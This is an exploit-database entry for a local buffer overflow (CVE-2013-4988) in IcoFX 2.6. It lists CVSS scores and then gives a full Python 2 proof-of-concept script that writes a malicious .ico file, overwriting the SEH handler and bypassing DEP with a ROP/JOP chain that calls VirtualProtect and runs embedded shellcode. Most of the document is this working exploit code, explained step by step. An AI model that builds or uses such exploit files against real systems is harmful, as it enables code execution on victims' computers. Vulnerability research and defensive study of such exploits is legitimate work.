IcoFX 2.6 Buffer Overflow

2021.06.08
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: IcoFX 2.6 - '.ico' Buffer Overflow SEH + DEP Bypass using JOP # Date: 2020-05-20 # Exploit Author: Austin Babcock # Vendor Homepage: https://icofx.ro/ # Software Link: https://drive.google.com/file/d/1SONzNStA_W3pAPU5IUvsYS3z0jYymEZn/view?usp=sharing # Version: 2.6.0.0 # Tested on: Windows 7 Ultimate x64 # CVE: CVE-2013-4988 # Steps: 1. Run script 2. Open application 3. Open maliciousJOP.ico via file -> open dropdown menu # Payload Length: 1626 bytes #While this is an older CVE, it is very rare to have a JOP chain available for a binary which is what this exploit attempts to demonstrate. #Gadgets were found using the JOP ROCKET tool which is available at https://github.com/Bw3ll/JOP_ROCKET #This exploit utilizes ROP to set up a JOP chain that will perform multiple stack pivots and call VirtualProtect(). #JOP utilizes a dispatcher gadget (#add ecx, dword ptr [eax] #jmp dword ptr [ecx]) to executes gadgets found within the dispatch table. #The ECX register will hold the address of the dispatch table, which will be modified each time the dispatcher gadget executes. #After each modification, ECX will point to the address of the next gadget in the JOP chain and "jmp dword ptr [ecx]" executes that gadget. #Each functional gadget must end in a jmp or call to a register containing the address of the dispatcher gadget. #In this exploit, ecx is used to hold the address of the dispatch table, and edi is used to hold the dispatcher gadget address. #The dispatch table is located just after the shellcode in this exploit's payload. The address is loaded into ECX using ROP to programatically generate the correct address.. #!/usr/bin/python2 import struct # Stuff we'll need for creating our malicious .ico header = "\x00\x00\x01\x00\x00\x6F" option = "\x02\x00\x00\x00" pad2 = "\x41"*8 nseh = "\xfe\xff\xff\xff" base = 0x400000 # SEH Overwrite with stack pivot - ADD ESP,0x800 # POP EBX # RET seh = struct.pack('<L', 0x0044f012) ########################### #### LOAD DISPATCH TABLE ADDR INTO ECX #### #The dispatch table's address is calculated based off of the value of EBP, which is related to the paylaod's location in memory. jopSetup = struct.pack('<I',0x00580ca8) # POP ECX # RETN <- jopSetup += struct.pack('<I',0x0000000) #clear ecx jopSetup += struct.pack('<I', base + 0x000e8643) # ADD ECX,EBP # RETN jopSetup += struct.pack('<I', base + 0x00007c03) # POP EAX # RETN jopSetup += struct.pack('<I',0x00009f0) # offset for disp table jopSetup += struct.pack('<I', base + 0x00007c63) # ADD ECX,EAX # RETN # ecx = disp table #### LOAD ADD VALUE PTR INTO EAX #### #Since the dispatcher gadget uses the instruction "add ecx, dword ptr[eax]" to modify the address of the dispatch table, #eax must point to a valid location in memory containing the value we want to add to ecx each time the dispatcher executes. #In this case, eax will point to an address containing the value 0x00000004. jopSetup += struct.pack('<I', base + 0x0029c000) # MOV EAX,ECX # POP ESI # RETN <- jopSetup += struct.pack('<I',0x0000000) # junk jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN #### LOAD WRITABLE ADDR OFFSET INTO EBX #### #The gadget used for stack pivoting has an extra instruction (or byte ptr [ebx - 0x781703bb]) that cannot be avoided. #In order to ensure this instruction does not cause problems, ebx-0x781703bb must point to a writable section of memory so #that the instruction does not cause an access violation. This section makes sure ebx contains a compatible value. jopSetup += struct.pack('<I', base + 0x00390000) # POP EBX # RETN jopSetup += struct.pack('<I', 0x78c0609a) # needed for stack pivot JOP gadget -- offset to writable addr #### LOAD DISPATCHER ADDR INTO EDI #### jopSetup += struct.pack('<I',base + 0x00051423) # POP EDI # RETN jopSetup += struct.pack('<I',base + 0x6d81) # disp gadget address #Dispatcher: #add ecx, dword ptr [eax] 0x406d81 (offset 0x6d81) #jmp dword ptr [ecx] #### BEGIN JOP -- PERFORM STACK PIVOT #### jopSetup += struct.pack('<I', base + 0x1623) # JMP EDI table = struct.pack('<I',0x44444444) # padding #PIVOT 40 BYTES #Last POP will put VP ptr in EBP for i in range(10): table += struct.pack('<I', 0x588b9b) #pop ebp # or byte ptr [ebx - 0x781703bb], cl # jmp edi <- #### CALL VirtualProtect() #### #The derferencing gadget used to call VirtualProtect() has an offset of -0x71 bytes from ebp. #To account for this, when the pointer for VirtualProtect() is loaded into ebp, 0x71 bytes are added to it in order #to ensure that ebp-0x71 is the correct value for the pointer. This can be seen below. table += struct.pack('<I',0x4c8eb7) #jmp dword ptr [ebp - 0x71] <- # VP ptr + offset for jmp ebp gadget vpPtr = struct.pack('<I',0x00bf6668 + 0x71) ############################################################################################ msg_sc = ("\x31\xD2\xB2\x30\x64\x8B\x12\x8B\x52\x0C\x8B\x52\x1C\x8B\x42\x08\x8B\x72\x20\x8B\x12\x80" "\x7E\x0C\x33\x75\xF2\x89\xC7\x03\x78\x3C\x8B\x57\x78\x01\xC2\x8B\x7A\x20\x01\xC7\x31\xED" "\x8B\x34\xAF\x01\xC6\x45\x81\x3E\x46\x61\x74\x61\x75\xF2\x81\x7E\x08\x45\x78\x69\x74\x75" "\xE9\x8B\x7A\x24\x01\xC7\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68" "\x50\x21\x20\x01\x68\x78\x20\x4A\x4F\x68\x49\x63\x6F\x46\x89\xE1\xFE\x49\x0B\x31\xC0\x51" "\x50\xFF\xD7") # ExitProcess(0); exit_sc = "\x31\xc0\x50\xb8\x00\x60\xbf\x00\xff\x10" addesp = "\x81\xec\x00\x10\x00\x00" # Stack pivot at start of shellcode shellcode = addesp + msg_sc + exit_sc nopwrap = "\x90"*(0x168 - len(shellcode)) + shellcode + "\x90"*0x20 # padding until VP parameter location paramPad = "C" *(36) paramPad += vpPtr ### VIRTUAL PROTECT PARAMETERS ### vpParams = struct.pack('<I',0x18f744) #return addr vpParams += struct.pack('<I',0x18f744) #lpAddr vpParams += struct.pack('<I',0x500) #dwSize vpParams += struct.pack('<I',0x40) #flNewProt vpParams += struct.pack('<I',0x00bf4d0a) #lpfOldProtect # pad1 holds JOP Setup chain, VP() Parameters, Shellcode, Value for ADD, and Dispatch Table pad1 = "A"*580 + jopSetup + paramPad + vpParams + nopwrap addVal = struct.pack('<I',0x00000004) # how much for disp gadget to add to Dispatch Table address pad1 += addVal pad1 += table # dispatch table pad1 += "B"*(0x640-len(pad1)) # Piece together our exploit payload = header + pad1 + option + pad2 + nseh + seh # Write out our malicious file writeFile = open ("maliciousJOP.ico", "wb") writeFile.write( payload ) writeFile.close()


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